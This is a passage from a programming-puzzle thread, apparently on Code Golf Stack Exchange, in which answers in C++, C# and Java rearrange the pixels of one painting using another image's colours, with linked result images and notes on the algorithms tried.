if (FreeImage_GetBPP(dib) == 24) return dib;\n FIBITMAP *dib2 = FreeImage_ConvertTo24Bits(dib);\n FreeImage_Unload(dib);\n return dib2;\n}\n// ----------------------------------------------------------\nint main(int argc, char **argv)\n{\n // call this ONLY when linking with FreeImage as a static library\n#ifdef FREEIMAGE_LIB\n FreeImage_Initialise();\n#endif\n FIBITMAP *src = NULL, *pal = NULL;\n int result = EXIT_FAILURE;\n // initialize my own FreeImage error handler\n FreeImage_SetOutputMessage(FreeImageErrorHandler);\n // print version\n std::cout << \"FreeImage version : \" << FreeImage_GetVersion() << std::endl;\n if (argc != 4) \n {\n std::cout << \"USAGE : Pic2Pic \" << std::endl;\n return EXIT_FAILURE;\n }\n // Load the src image\n src = GenericLoader(argv[1], 0);\n if (src) \n {\n // load the palette image\n pal = GenericLoader(argv[2], 0);\n if (pal) \n {\n //compare areas\n // if(!samearea) return EXIT_FAILURE;\n unsigned int width_src = FreeImage_GetWidth(src);\n unsigned int height_src = FreeImage_GetHeight(src);\n unsigned int width_pal = FreeImage_GetWidth(pal);\n unsigned int height_pal = FreeImage_GetHeight(pal);\n if (width_src * height_src != width_pal * height_pal)\n {\n std::cout << \"ERROR: source and palette images do not have the same pixel area.\" << std::endl;\n result = EXIT_FAILURE;\n }\n else\n {\n //go to work!\n //first make sure everything is 24 bit:\n src = Convert24BPP(src);\n pal = Convert24BPP(pal);\n //retrieve the image data\n BYTE *bits_src = FreeImage_GetBits(src);\n BYTE *bits_pal = FreeImage_GetBits(pal);\n //make destination image\n FIBITMAP *dst = FreeImage_ConvertTo24Bits(src);\n BYTE *bits_dst = FreeImage_GetBits(dst);\n //make a vector of all the src pixels that we can sort by color value\n std::vector src_pixels;\n for (unsigned int y = 0; y < height_src; ++y)\n {\n for (unsigned int x = 0; x < width_src; ++x)\n {\n pixel p;\n p.x = x;\n p.y = y;\n p.b = bits_src[y*width_src * 3 + x * 3];\n p.g = bits_src[y*width_src * 3 + x * 3 + 1];\n p.r = bits_src[y*width_src * 3 + x * 3 + 2];\n //calculate color value using a weighted brightness for each channel\n //p.val = 0.2126f * p.r + 0.7152f * p.g + 0.0722f * p.b; //from http://www.poynton.com/notes/colour_and_gamma/ColorFAQ.html\n p.val = 0.5f * p.r + p.g + 0.1f * p.b; \n src_pixels.push_back(p);\n }\n }\n //sort by color value\n std::sort(src_pixels.begin(), src_pixels.end(), sortByColorVal);\n //make a vector of all palette pixels we can use\n std::vector pal_pixels;\n for (unsigned int y = 0; y < height_pal; ++y)\n {\n for (unsigned int x = 0; x < width_pal; ++x)\n {\n pixel p;\n p.b = bits_pal[y*width_pal * 3 + x * 3];\n p.g = bits_pal[y*width_pal * 3 + x * 3 + 1];\n p.r = bits_pal[y*width_pal * 3 + x * 3 + 2];\n p.val = 0.5f * p.r + p.g + 0.1f * p.b;\n pal_pixels.push_back(p);\n }\n }\n //sort by color value\n std::sort(pal_pixels.begin(), pal_pixels.end(), sortByColorVal);\n //for each src pixel, match it with same index palette pixel and copy to destination\n for (unsigned int i = 0; i < width_src * height_src; ++i)\n {\n bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3] = pal_pixels[i].b;\n bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3 + 1] = pal_pixels[i].g;\n bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3 + 2] = pal_pixels[i].r;\n }\n // Save the destination image\n bool bSuccess = GenericWriter(dst, argv[3], 0);\n if (!bSuccess)\n {\n std::cout << \"ERROR: unable to save \" << argv[3] << std::endl;\n std::cout << \"This format does not support 24-bit images\" << std::endl;\n result = EXIT_FAILURE;\n }\n else result = EXIT_SUCCESS;\n FreeImage_Unload(dst);\n }\n // Free pal\n FreeImage_Unload(pal);\n }\n // Free src\n FreeImage_Unload(src);\n }\n#ifdef FREEIMAGE_LIB\n FreeImage_DeInitialise();\n#endif\n if (result == EXIT_SUCCESS) std::cout << \"SUCCESS!\" << std::endl;\n else std::cout << \"FAILURE!\" << std::endl;\n return result;\n}\n```\n## Results\n![American Gothic using Mona Lisa palette](https://i.stack.imgur.com/eOjo7.png)\nAmerican Gothic using Mona Lisa palette\n![American Gothic using Rainbow palette](https://i.stack.imgur.com/oFNVW.png)\nAmerican Gothic using Rainbow palette\n![Mona Lisa using Scream palette](https://i.stack.imgur.com/zgTxF.png)\nMona Lisa using Scream palette\n![Mona Lisa using Rainbow palette](https://i.stack.imgur.com/rkV3k.png)\nMona Lisa using Rainbow palette\n![Scream using Starry Night palette](https://i.stack.imgur.com/bmvVq.png)\nScream using Starry Night palette\n[Answer]\n**C#**\nThe points are ordered in random walking, starting from the center. always get the closest color in the palette image. So the last pixels are somewhat very bad.\n**Results**\n*Gothic Palette*\n![enter image description here](https://i.stack.imgur.com/QLyZF.png)\n![enter image description here](https://i.stack.imgur.com/0Gqgt.png)\nAnd the [american couple visitors from wikipedia](http://en.wikipedia.org/wiki/American_Gothic)\n![enter image description here](https://i.stack.imgur.com/8ABWz.png)\n*Mona Palette*\n![enter image description here](https://i.stack.imgur.com/Bwjh3.png)\n![enter image description here](https://i.stack.imgur.com/LOxoL.png)\n![enter image description here](https://i.stack.imgur.com/VOyHh.png)\n**Code:**\nI don't know why but code is pretty slow...\n```\npublic class PixelExchanger\n{\n public class ProgressInfo\n {\n public readonly Pixel NewPixel;\n public readonly int Percentage;\n public ProgressInfo(Pixel newPixel, int percentage)\n {\n this.NewPixel = newPixel;\n this.Percentage = percentage;\n }\n }\n public class Pixel\n {\n public readonly int X;\n public readonly int Y;\n public readonly Color Color;\n public Pixel(int x, int y, Color color)\n {\n this.X = x;\n this.Y = y;\n this.Color = color;\n }\n }\n private static Random r = new Random(0);\n private readonly Bitmap Pallete;\n private readonly Bitmap Image;\n private readonly int Width;\n private readonly int Height;\n private readonly Action ProgressCallback;\n private System.Drawing.Image image1;\n private System.Drawing.Image image2;\n private int Area { get { return Width * Height; } }\n public PixelExchanger(Bitmap pallete, Bitmap image, Action progressCallback = null)\n {\n this.Pallete = pallete;\n this.Image = image;\n this.ProgressCallback = progressCallback;\n Width = image.Width;\n Height = image.Height;\n if (Area != pallete.Width * pallete.Height)\n throw new ArgumentException(\"Image and Pallete have different areas!\");\n }\n public Bitmap DoWork()\n {\n var array = GetColorArray();\n var map = GetColorMap(Image);\n var newMap = Go(array, map);\n var bm = new Bitmap(map.Length, map[0].Length);\n for (int i = 0; i < Width; i++)\n {\n for (int j = 0; j < Height; j++)\n {\n bm.SetPixel(i, j, newMap[i][j]);\n }\n }\n return bm;\n }\n public Color[][] Go(List array, Color[][] map)\n {\n var centralPoint = new Point(Width / 2, Height / 2);\n var q = OrderRandomWalking(centralPoint).ToArray();\n Color[][] newMap = new Color[map.Length][];\n for (int i = 0; i < map.Length; i++)\n {\n newMap[i] = new Color[map[i].Length];\n }\n double pointsDone = 0;\n foreach (var p in q)\n {\n newMap[p.X][p.Y] = Closest(array, map[p.X][p.Y]);\n pointsDone++;\n if (ProgressCallback != null)\n {\n var percent = 100 * (pointsDone / (double)Area);\n var progressInfo = new ProgressInfo(new Pixel(p.X, p.Y, newMap[p.X][p.Y]), (int)percent);\n ProgressCallback(progressInfo);\n }\n }\n return newMap;\n }\n private int[][] GetCardinals()\n {\n int[] nn = new int[] { -1, +0 };\n // int[] ne = new int[] { -1, +1 };\n int[] ee = new int[] { +0, +1 };\n // int[] se = new int[] { +1, +1 };\n int[] ss = new int[] { +1, +0 };\n // int[] sw = new int[] { +1, -1 };\n int[] ww = new int[] { +0, -1 };\n // int[] nw = new int[] { -1, -1 };\n var dirs = new List();\n dirs.Add(nn);\n // dirs.Add(ne);\n dirs.Add(ee);\n // dirs.Add(se);\n dirs.Add(ss);\n // dirs.Add(sw);\n dirs.Add(ww);\n // dirs.Add(nw);\n return dirs.ToArray();\n }\n private Color Closest(List array, Color c)\n {\n int closestIndex = -1;\n int bestD = int.MaxValue;\n int[] ds = new int[array.Count];\n Parallel.For(0, array.Count, (i, state) =>\n {\n ds[i] = Distance(array[i], c);\n if (ds[i] <= 50)\n {\n closestIndex = i;\n state.Break();\n }\n else if (bestD > ds[i])\n {\n bestD = ds[i];\n closestIndex = i;\n }\n });\n var closestColor = array[closestIndex];\n array.RemoveAt(closestIndex);\n return closestColor;\n }\n private int Distance(Color c1, Color c2)\n {\n var r = Math.Abs(c1.R - c2.R);\n var g = Math.Abs(c1.G - c2.G);\n var b = Math.Abs(c1.B - c2.B);\n var s = Math.Abs(c1.GetSaturation() - c1.GetSaturation());\n return (int)s + r + g + b;\n }\n private HashSet OrderRandomWalking(Point p)\n {\n var points = new HashSet();\n var dirs = GetCardinals();\n var dir = new int[] { 0, 0 };\n while (points.Count < Width * Height)\n {\n bool inWidthBound = p.X + dir[0] < Width && p.X + dir[0] >= 0;\n bool inHeightBound = p.Y + dir[1] < Height && p.Y + dir[1] >= 0;\n if (inWidthBound && inHeightBound)\n {\n p.X += dir[0];\n p.Y += dir[1];\n points.Add(p);\n }\n dir = dirs.Random(r);\n }\n return points;\n }\n private static Color[][] GetColorMap(Bitmap b1)\n {\n int hight = b1.Height;\n int width = b1.Width;\n Color[][] colorMatrix = new Color[width][];\n for (int i = 0; i < width; i++)\n {\n colorMatrix[i] = new Color[hight];\n for (int j = 0; j < hight; j++)\n {\n colorMatrix[i][j] = b1.GetPixel(i, j);\n }\n }\n return colorMatrix;\n }\n private List GetColorArray()\n {\n var map = GetColorMap(Pallete);\n List colors = new List();\n foreach (var line in map)\n {\n colors.AddRange(line);\n }\n return colors;\n }\n}\n```\n[Answer]\n# C#\nCompares colors by how far away they are. Starts from the center. \n**EDIT: Updated, now should be about 1.5x faster.**\nAmerican Gothic \n![enter image description here](https://i.stack.imgur.com/V9yrz.png) \nThe Scream \n![enter image description here](https://i.stack.imgur.com/cMqnm.png) \nStarry Night \n![enter image description here](https://i.stack.imgur.com/LStIZ.png) \nMarbles \n![enter image description here](https://i.stack.imgur.com/g1BCz.png) \nRiver \n![enter image description here](https://i.stack.imgur.com/uy0Ii.png) \nAlso, here's the yellow Chevy: \n![enter image description here](https://i.stack.imgur.com/XKbef.png)\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Drawing;\nusing System.Threading.Tasks;\nusing System.Diagnostics;\nnamespace ConsoleApplication1\n{\n class Pixel\n {\n public int X = 0;\n public int Y = 0;\n public Color Color = new Color();\n public Pixel(int x, int y, Color clr)\n {\n Color = clr;\n X = x;\n Y = y;\n }\n public Pixel()\n {\n }\n }\n class Vector2\n {\n public int X = 0;\n public int Y = 0;\n public Vector2(int x, int y)\n {\n X = x;\n Y = y;\n }\n public Vector2()\n {\n }\n public double Diagonal()\n {\n return Math.Sqrt((X * X) + (Y * Y));\n }\n }\n class ColorCollection\n {\n Dictionary dict = new Dictionary();\n public ColorCollection()\n {\n }\n public void AddColor(Color color)\n {\n if (dict.ContainsKey(color))\n {\n dict[color]++;\n return;\n }\n dict.Add(color, 1);\n }\n public void UseColor(Color color)\n {\n if (dict.ContainsKey(color))\n dict[color]--;\n if (dict[color] < 1)\n dict.Remove(color);\n }\n public Color FindBestColor(Color color)\n {\n Color ret = dict.First().Key;\n int p = this.CalculateDifference(ret, color);\n foreach (KeyValuePair pair in dict)\n {\n int points = CalculateDifference(pair.Key, color);\n if (points < p)\n {\n ret = pair.Key;\n p = points;\n }\n }\n this.UseColor(ret);\n return ret;\n }\n int CalculateDifference(Color c1, Color c2)\n {\n int ret = 0;\n ret = ret + Math.Abs(c1.R - c2.R);\n ret = ret + Math.Abs(c1.G - c2.G);\n ret = ret + Math.Abs(c1.B - c2.B);\n return ret;\n }\n }\n class Program\n {\n static void Main(string[] args)\n {\n string img1 = \"\";\n string img2 = \"\";\n if (args.Length != 2)\n {\n Console.Write(\"Where is the first picture located? \");\n img1 = Console.ReadLine();\n Console.Write(\"Where is the second picture located? \");\n img2 = Console.ReadLine();\n }\n else\n {\n img1 = args[0];\n img2 = args[1];\n }\n Bitmap bmp1 = new Bitmap(img1);\n Bitmap bmp2 = new Bitmap(img2);\n Console.WriteLine(\"Getting colors....\");\n ColorCollection colors = GetColors(bmp1);\n Console.WriteLine(\"Getting pixels....\");\n List pixels = GetPixels(bmp2);\n int centerX = bmp2.Width / 2;\n int centerY = bmp2.Height / 2;\n pixels.Sort((p1, p2) =>\n {\n Vector2 p1_v = new Vector2(Math.Abs(p1.X - centerX), Math.Abs(p1.Y - centerY));\n Vector2 p2_v = new Vector2(Math.Abs(p2.X - centerX), Math.Abs(p2.Y - centerY));\n double d1 = p1_v.Diagonal();\n double d2 = p2_v.Diagonal();\n if (d1 > d2)\n return 1;\n else if (d1 == d2)\n return 0;\n return -1;\n });\n Console.WriteLine(\"Calculating...\");\n int k = 0;\n Stopwatch sw = Stopwatch.StartNew();\n for (int i = 0; i < pixels.Count; i++)\n {\n if (i % 100 == 0 && i != 0)\n {\n float percentage = ((float)i / (float)pixels.Count) * 100;\n Console.WriteLine(percentage.ToString(\"0.00\") + \"% completed(\" + i + \"/\" + pixels.Count + \")\");\n Console.SetCursorPosition(0, Console.CursorTop - 1);\n }\n Color set = colors.FindBestColor(pixels[i].Color);\n pixels[i].Color = set;\n k++;\n }\n sw.Stop();\n Console.WriteLine(\"Saving...\");\n Bitmap result = WritePixelsToBitmap(pixels, bmp2.Width, bmp2.Height);\n result.Save(img1 + \".png\");\n Console.WriteLine(\"Completed in \" + sw.Elapsed.TotalSeconds + \" seconds. Press a key to exit.\");\n Console.ReadKey();\n }\n static Bitmap WritePixelsToBitmap(List pixels, int width, int height)\n {\n Bitmap bmp = new Bitmap(width, height);\n foreach (Pixel pixel in pixels)\n {\n bmp.SetPixel(pixel.X, pixel.Y, pixel.Color);\n }\n return bmp;\n }\n static ColorCollection GetColors(Bitmap bmp)\n {\n ColorCollection ret = new ColorCollection();\n for (int x = 0; x < bmp.Width; x++)\n {\n for (int y = 0; y < bmp.Height; y++)\n {\n Color clr = bmp.GetPixel(x, y);\n ret.AddColor(clr);\n }\n }\n return ret;\n }\n static List GetPixels(Bitmap bmp)\n {\n List ret = new List();\n for (int x = 0; x < bmp.Width; x++)\n {\n for (int y = 0; y < bmp.Height; y++)\n {\n Color clr = bmp.GetPixel(x, y);\n ret.Add(new Pixel(x, y, clr));\n }\n }\n return ret;\n }\n }\n}\n```\n[Answer]\nI decided to try using a very similar algorithm as my other answer, but only swapping 2x2 blocks of pixels instead of individual pixels. Unfortunaely, this algorithm adds an additional constraint of requiring the image dimensions to be divisible by 2, which makes the raytraced spheres unusable unless I change the sizes.\nI really like some of the results!\nAmerican Gothic with river palette:\n![enter image description here](https://i.stack.imgur.com/OGjt0.png)\nMona Lisa with American Gothic palette:\n![enter image description here](https://i.stack.imgur.com/aiihk.png)\nMona Lisa with river palette:\n![enter image description here](https://i.stack.imgur.com/sZ79z.png)\n## I tried 4x4 also, and here are my favorites!\nStarry Night with the Scream palette:\n![enter image description here](https://i.stack.imgur.com/UtZK0.png)\nMona Lisa with American Gothic palette:\n![enter image description here](https://i.stack.imgur.com/2ajcx.png)\nThe Scream with the Mona Lisa palette:\n![enter image description here](https://i.stack.imgur.com/Jqyev.png)\nAmerican Gothic with the Mona Lisa palette:\n![enter image description here](https://i.stack.imgur.com/xocJ5.png)\n[Answer]\n# C#\nThis is really really really slow, but it does a great job, especially when using the raytraced spheres palette.\n![enter image description here](https://i.stack.imgur.com/wJBgB.png)\n![enter image description here](https://i.stack.imgur.com/pJhGo.png) ![enter image description here](https://i.stack.imgur.com/1GRqI.png)\n![enter image description here](https://i.stack.imgur.com/g0GJg.png) ![enter image description here](https://i.stack.imgur.com/Knqg1.png)\nThe Scream palette:\n![enter image description here](https://i.stack.imgur.com/TNLtb.png)\n![enter image description here](https://i.stack.imgur.com/oNBHw.png)\nMona Lisa palette:\n![enter image description here](https://i.stack.imgur.com/8U4Rf.png) ![enter image description here](https://i.stack.imgur.com/7xgtm.png)\n![enter image description here](https://i.stack.imgur.com/l5b6V.png) ![enter image description here](https://i.stack.imgur.com/c29SK.png)\nAmerican Gothic palette:\n![enter image description here](https://i.stack.imgur.com/A8sPo.png) ![enter image description here](https://i.stack.imgur.com/21dvL.png)\nRiver palette:\n![enter image description here](https://i.stack.imgur.com/ObvC9.png)\n![enter image description here](https://i.stack.imgur.com/lCLDl.png) ![enter image description here](https://i.stack.imgur.com/j50y6.png)\nThe Starry Night palette:\n![enter image description here](https://i.stack.imgur.com/Q2DFY.png)\n![enter image description here](https://i.stack.imgur.com/LqkHX.png)\n```\n class Program\n {\n class Pixel\n {\n public int x;\n public int y;\n public Color color;\n public Pixel(int x, int y, Color color)\n {\n this.x = x;\n this.y = y;\n this.color = color;\n }\n }\n static Pixel BaselineColor = new Pixel(0, 0, Color.FromArgb(0, 0, 0, 0));\n static void Main(string[] args)\n {\n string sourceDirectory = \"pic\" + args[0] + \".png\";\n string paletteDirectory = \"pic\" + args[1] + \".png\";\n using (Bitmap source = Bitmap.FromFile(sourceDirectory) as Bitmap)\n {\n List sourcePixels = GetPixels(source).ToList();\n LinkedList palettePixels;\n using (Bitmap palette = Bitmap.FromFile(paletteDirectory) as Bitmap)\n {\n palettePixels = GetPixels(palette) as LinkedList;\n }\n if (palettePixels.Count != sourcePixels.Count)\n {\n throw new Exception(\"OH NO!!!!!!!!\");\n }\n sourcePixels.Sort((x, y) => GetDiff(y, BaselineColor) - GetDiff(x, BaselineColor));\n LinkedList newPixels = new LinkedList();\n foreach (Pixel p in sourcePixels)\n {\n Pixel newPixel = GetClosestColor(palettePixels, p);\n newPixels.AddLast(newPixel);\n }\n foreach (var p in newPixels)\n {\n source.SetPixel(p.x, p.y, p.color);\n }\n source.Save(\"Out\" + args[0] + \"to\" + args[1] + \".png\");\n }\n }\n private static IEnumerable GetPixels(Bitmap source)\n {\n List newList = new List();\n for (int x = 0; x < source.Width; x++)\n {\n for (int y = 0; y < source.Height; y++)\n {\n newList.Add(new Pixel(x, y, source.GetPixel(x, y)));\n }\n }\n return newList;\n }\n private static Pixel GetClosestColor(LinkedList palettePixels, Pixel p)\n {\n Pixel minPixel = palettePixels.First();\n int diff = GetDiff(minPixel, p);\n foreach (var pix in palettePixels)\n {\n int current = GetDiff(pix, p);\n if (current < diff)\n {\n diff = current;\n minPixel = pix;\n if (diff == 0)\n {\n return minPixel;\n }\n }\n }\n palettePixels.Remove(minPixel);\n return new Pixel(p.x, p.y, minPixel.color);\n }\n private static int GetDiff(Pixel a, Pixel p)\n {\n return GetProx(a.color, p.color);\n }\n private static int GetProx(Color a, Color p)\n {\n int red = (a.R - p.R) * (a.R - p.R);\n int green = (a.G - p.G) * (a.G - p.G);\n int blue = (a.B - p.B) * (a.B - p.B);\n return red + blue + green;\n }\n }\n```\n[Answer]\n# Java - Another Mapping Approach\n**Edit 1:** After that was shared in a \"maths\" environment on G+, we all seem to use matching approaches with various ways to circumvent complexity.\n**Edit 2:** I messed up the images in my google drive and restarted, so the old links do not work any more. Sorry, I am still working on more reputation for more links.\n**Edit 3:** Reading the other posts I got some inspirations. I got the programm faster now and reinvested some CPU time, to do some changes depending on target image location.\n**Edit 4:** New program version. Faster! Special treatment of both areas with sharp corners and very smooth changes (helps a lot with the ray tracing, but gives the Mona Lisa occasional red eyes)! Ability to generate intermediate frames from animations! \nI really loved the idea and Quincunx solution kind of intrigued me. So I thought I might well be able add my 2 Euro cent.\nIdea was, that we obviously need a (somehow close) mapping between two colour palettes.\nWith this idea I spent the *first night* trying to tweek a **stable marriage algorithm** to run fast and with the memory of my PC on 123520 candidates. While I got into the memory range, I found the runtime problem unsolvable. \n*Second night* I decided to just further and dive into the **Hungarian Algorithm** which promised to provide even approximation properties, i.e. minimum distance between colors in either image. Fortunately I found 3 ready to plug Java implementations of this (not counting many semi finished student assignments which start to make it really hard to google for elementary algorithms). But as one might have expected, Hungarian Algorithms are even worse in terms of running time and memory usage. Even worse, all 3 implementations I tested, returned occasional wrong results. I shiver when I think of other programms, which might be based on these.\n*Third approach (end of second night)* was easy, quick, fast and after all not that bad: Sort colours in both images by luminosity and simple map by ranking, i.e. darkest to darkest, second darkest to second darkest. This immediately creates sharp looking black and white reconstruction with some random colour sprayed around.\n\\*Approach 4 and final so far (morning of second night) starts with the above luminosity mapping and adds local corrections to it by applying Hungarian algorithms to various overlapping sequences of pixels. This way I got better mapping and worked around both the complexity of the problem and the bugs in the implementations.\nSo here is some Java code, some parts might look similar to other Java code posted here.\nThe hungarian used is a patched version of John Millers originally in the ontologySimilariy project. This was way fastest I found and showed the fewest bugs.\n```\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.Set;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.HashMap;\nimport java.util.List;\nimport javax.imageio.ImageIO;\n/**\n *\n */\npublic class PixelRearranger {\n private final String mode;\n public PixelRearranger(String mode)\n {\n this.mode = mode;\n }\n public final static class Pixel {\n final BufferedImage img;\n final int val;\n final int r, g, b;\n final int x, y;\n public Pixel(BufferedImage img, int x, int y) {\n this.x = x;\n this.y = y;\n this.img = img;\n if ( img != null ) {\n val = img.getRGB(x,y);\n r = ((val & 0xFF0000) >> 16);\n g = ((val & 0x00FF00) >> 8);\n b = ((val & 0x0000FF));\n } else {\n val = r = g = b = 0;\n }\n }\n @Override\n public int hashCode() {\n return x + img.getWidth() * y + img.hashCode();\n }\n @Override\n public boolean equals(Object o) {\n if ( !(o instanceof Pixel) ) return false;\n Pixel p2 = (Pixel) o;\n return p2.x == x && p2.y == y && p2.img == img;\n }\n public double cd() {\n double x0 = 0.5 * (img.getWidth()-1);\n double y0 = 0.5 * (img.getHeight()-1);\n return Math.sqrt(Math.sqrt((x-x0)*(x-x0)/x0 + (y-y0)*(y-y0)/y0));\n }\n @Override\n public String toString() { return \"P[\"+r+\",\"+g+\",\"+b+\";\"+x+\":\"+y+\";\"+img.getWidth()+\":\"+img.getHeight()+\"]\"; }\n }\n public final static class Pair\n implements Comparable\n { \n public Pixel palette, from;\n public double d;\n public Pair(Pixel palette, Pixel from)\n {\n this.palette = palette;\n this.from = from;\n this.d = distance(palette, from);\n }\n @Override\n public int compareTo(Pair e2)\n {\n return sgn(e2.d - d);\n }\n @Override\n public String toString() { return \"E[\"+palette+from+\";\"+d+\"]\"; }\n }\n public static int sgn(double d) { return d > 0.0 ? +1 : d < 0.0 ? -1 : 0; }\n public final static int distance(Pixel p, Pixel q)\n {\n return 3*(p.r-q.r)*(p.r-q.r) + 6*(p.g-q.g)*(p.g-q.g) + (p.b-q.b)*(p.b-q.b);\n }\n public final static Comparator LUMOSITY_COMP = (p1,p2) -> 3*(p1.r-p2.r)+6*(p1.g-p2.g)+(p1.b-p2.b);\n public final static class ArrangementResult\n {\n private List pairs;\n public ArrangementResult(List pairs)\n {\n this.pairs = pairs;\n }\n /** Provide the output image */\n public BufferedImage finalImage()\n {\n BufferedImage target = pairs.get(0).from.img;\n BufferedImage res = new BufferedImage(target.getWidth(),\n target.getHeight(), BufferedImage.TYPE_INT_RGB);\n for(Pair p : pairs) {\n Pixel left = p.from;\n Pixel right = p.palette;\n res.setRGB(left.x, left.y, right.val);\n }\n return res;\n }\n /** Provide an interpolated image. 0 le;= alpha le;= 1 */\n public BufferedImage interpolateImage(double alpha)\n {\n BufferedImage target = pairs.get(0).from.img;\n int wt = target.getWidth(), ht = target.getHeight();\n BufferedImage palette = pairs.get(0).palette.img;\n int wp = palette.getWidth(), hp = palette.getHeight();\n int w = Math.max(wt, wp), h = Math.max(ht, hp);\n BufferedImage res = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB);\n int x0t = (w-wt)/2, y0t = (h-ht)/2;\n int x0p = (w-wp)/2, y0p = (h-hp)/2;\n double a0 = (3.0 - 2.0*alpha)*alpha*alpha;\n double a1 = 1.0 - a0;\n for(Pair p : pairs) {\n Pixel left = p.from;\n Pixel right = p.palette;\n int x = (int) (a1 * (right.x + x0p) + a0 * (left.x + x0t));\n int y = (int) (a1 * (right.y + y0p) + a0 * (left.y + y0t));\n if ( x < 0 || x >= w ) System.out.println(\"x=\"+x+\", w=\"+w+\", alpha=\"+alpha);\n if ( y < 0 || y >= h ) System.out.println(\"y=\"+y+\", h=\"+h+\", alpha=\"+alpha);\n res.setRGB(x, y, right.val);\n }\n return res;\n }\n }\n public ArrangementResult rearrange(BufferedImage target, BufferedImage palette)\n {\n List targetPixels = getColors(target);\n int n = targetPixels.size();\n System.out.println(\"total Pixels \"+n);\n Collections.sort(targetPixels, LUMOSITY_COMP);\n final double[][] energy = energy(target);\n List palettePixels = getColors(palette);\n Collections.sort(palettePixels, LUMOSITY_COMP);\n ArrayList pairs = new ArrayList<>(n);\n for(int i = 0; i < n; i++) {\n Pixel pal = palettePixels.get(i);\n Pixel to = targetPixels.get(i);\n pairs.add(new Pair(pal, to));\n }\n correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.b - p1.d*p1.from.b));\n correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.r - p1.d*p1.from.r));\n // generates visible circular artifacts: correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.cd() - p1.d*p1.from.cd()));\n correct(pairs, (p1,p2) -> sgn(energy[p2.from.x][p2.from.y]*p2.d - energy[p1.from.x][p1.from.y]*p1.d));\n correct(pairs, (p1,p2) -> sgn(p2.d/(1+energy[p2.from.x][p2.from.y]) - p1.d/(1+energy[p1.from.x][p1.from.y])));\n // correct(pairs, null);\n return new ArrangementResult(pairs);\n }\n /**\n * derive an energy map, to detect areas of lots of change.\n */\n public double[][] energy(BufferedImage img)\n {\n int n = img.getWidth();\n int m = img.getHeight();\n double[][] res = new double[n][m];\n for(int x = 0; x < n; x++) {\n for(int y = 0; y < m; y++) {\n int rgb0 = img.getRGB(x,y);\n int count = 0, sum = 0;\n if ( x > 0 ) {\n count++; sum += dist(rgb0, img.getRGB(x-1,y));\n if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x-1,y-1)); }\n if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x-1,y+1)); }\n }\n if ( x < n-1 ) {\n count++; sum += dist(rgb0, img.getRGB(x+1,y));\n if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x+1,y-1)); }\n if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x+1,y+1)); }\n }\n if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x,y-1)); }\n if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x,y+1)); }\n res[x][y] = Math.sqrt((double)sum/count);\n }\n }\n return res;\n }\n public int dist(int rgb0, int rgb1) {\n int r0 = ((rgb0 & 0xFF0000) >> 16);\n int g0 = ((rgb0 & 0x00FF00) >> 8);\n int b0 = ((rgb0 & 0x0000FF));\n int r1 = ((rgb1 & 0xFF0000) >> 16);\n int g1 = ((rgb1 & 0x00FF00) >> 8);\n int b1 = ((rgb1 & 0x0000FF));\n return 3*(r0-r1)*(r0-r1) + 6*(g0-g1)*(g0-g1) + (b0-b1)*(b0-b1);\n }\n private void correct(ArrayList pairs, Comparator comp)\n {\n Collections.sort(pairs, comp);\n int n = pairs.size();\n int limit = Math.min(n, 133); // n / 1000;\n int limit2 = Math.max(1, n / 3 - limit);\n int step = (2*limit + 2)/3;\n for(int base = 0; base < limit2; base += step ) {\n List list1 = new ArrayList<>();\n List list2 = new ArrayList<>();\n for(int i = base; i < base+limit; i++) {\n list1.add(pairs.get(i).from);\n list2.add(pairs.get(i).palette);\n }\n Map connection = rematch(list1, list2);\n int i = base;\n for(Pixel p : connection.keySet()) {\n pairs.set(i++, new Pair(p, connection.get(p)));\n }\n }\n }\n /**\n * Glue code to do an hungarian algorithm distance optimization.\n */\n public Map rematch(List liste1, List liste2)\n {\n int n = liste1.size();\n double[][] cost = new double[n][n];\n Set s1 = new HashSet<>(n);\n Set s2 = new HashSet<>(n);\n for(int i = 0; i < n; i++) {\n Pixel ii = liste1.get(i);\n for(int j = 0; j < n; j++) {\n Pixel ij = liste2.get(j);\n cost[i][j] = -distance(ii,ij);\n }\n }\n Map res = new HashMap<>();\n int[] resArray = Hungarian.hungarian(cost);\n for(int i = 0; i < resArray.length; i++) {\n Pixel ii = liste1.get(i);\n Pixel ij = liste2.get(resArray[i]);\n res.put(ij, ii);\n }\n return res;\n }\n public static List getColors(BufferedImage img) {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n colors.add(new Pixel(img, x, y));\n }\n }\n return colors;\n }\n public static List getSortedTrueColors(BufferedImage img) {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n colors.add(img.getRGB(x, y));\n }\n }\n Collections.sort(colors);\n return colors;\n }\n public static void main(String[] args) throws Exception {\n int i = 0;\n String mode = args[i++];\n PixelRearranger pr = new PixelRearranger(mode);\n String a1 = args[i++];\n File in1 = new File(a1);\n String a2 = args[i++];\n File in2 = new File(a2);\n File out = new File(args[i++]);\n //\n BufferedImage target = ImageIO.read(in1);\n BufferedImage palette = ImageIO.read(in2);\n long t0 = System.currentTimeMillis();\n ArrangementResult result = pr.rearrange(target, palette);\n BufferedImage resultImg = result.finalImage();\n long t1 = System.currentTimeMillis();\n System.out.println(\"took \"+0.001*(t1-t0)+\" s\");\n ImageIO.write(resultImg, \"png\", out);\n // Check validity\n List paletteColors = getSortedTrueColors(palette);\n List resultColors = getSortedTrueColors(resultImg);\n System.out.println(\"validate=\"+paletteColors.equals(resultColors));\n 